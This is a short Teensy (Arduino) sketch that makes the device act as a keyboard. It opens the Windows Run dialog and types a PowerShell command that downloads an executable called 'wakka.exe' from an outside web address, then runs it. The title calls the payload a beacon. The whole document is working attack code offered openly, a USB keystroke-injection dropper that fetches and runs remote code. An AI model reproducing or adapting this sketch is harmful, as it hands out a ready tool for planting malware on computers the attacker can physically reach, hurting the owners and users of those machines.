Teensy: Powershell - Fetch and launch beacon

char *command1 = "powershell -Command $clnt = new-object System.Net.WebClient;$url= 'http://security.it/beacon/wakka.exe';$file = ' %HOMEPATH%\\wakka.exe ';$clnt.DownloadFile($url,$file);";
char *command2 = "%HOMEPATH%\\wakka.exe";

void setup() {
delay(5000);
omg(command1);
delay(15000);
// run this executable
omg(command2);
}

void loop() {}

void omg(char *SomeCommand)
{
Keyboard.set_modifier(128);
Keyboard.set_key1(KEY_R);
Keyboard.send_now();
Keyboard.set_modifier(0);
Keyboard.set_key1(0);
Keyboard.send_now();
delay(1500);
Keyboard.println(SomeCommand);
}